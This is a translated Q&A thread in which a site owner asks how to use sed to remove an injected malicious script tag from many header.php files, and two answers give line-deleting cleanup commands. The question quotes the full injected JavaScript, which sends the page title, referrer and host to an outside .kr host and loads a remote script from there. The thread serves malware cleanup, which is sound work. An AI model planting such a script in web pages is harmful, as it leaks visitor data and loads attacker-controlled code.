如何使用 sed 从文本文件中删除脚本标记

如何使用 sed 从文本文件中删除脚本标记

我有许多 header.php 文件,其中包含恶意脚本标记(不要问)。我编写了一个不太优雅的 shell 脚本来用空格替换它们。我最初尝试从 header.php 中减去有效负载,但这似乎不可能,因为该文件不是排序列表。下面是我的代码:

echo 'Find all header.php files'
find -name header.php -print0 > tempheader
echo 'Remove malware script from headers'
cat tempheader | xargs -0 sed -i 's/\<script\>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http:\/\/someplacedodgy.kr\/js\/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "\&se_referrer=" + se_referrer + "\&source=" + host; var f_url = base + "?c_utt=snt2014\&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null \&\& default_keyword !== '' \&\& se_referrer !== null \&\& se_referrer !== ''){document.write('\<script type="text\/javascript" src="' + f_url + '"\>' + '\<' + '\/script\>');}\<\/script\>/ /g'

问题是此代码无法执行并出现错误:sed: -e expression #1, char 578: unterminateds'command`。我的假设是存在未转义的字符导致此问题,我尝试转义所有 <> 和 {},但这似乎没有帮助(请注意,上面的 <> 仍然被转义)。

如果有一种方法可以将包含字符串的文件输入到 sed 中,就像sed -i 's/$payload/ /g'我还无法解决这个问题一样。

答案1

如果,正如您的答案所说,有效负载本身位于一行上,那么这将做到这一点,同时创建更改的文件的备份:

find -name header.php -exec sed -i.bak '/someplacedodgy\.kr\/js\/jquery.min.php/d' {} \; -ls

只需确保“someplacedodgy”字符串对于有效负载行是唯一的。

如果您想跳过备份,请省略 -i.bak 中的 .bak。

答案2

我针对这个问题找到了一个更简单的解决方案,因为字符串本身包含在一行中。

while read HEADER 
do cat $HEADER | grep -vw "somewheredodgy.kr/js/jquery.min.php"; > modifiedheader 
cp modifiedheader $HEADER 
done < tempheader

相关内容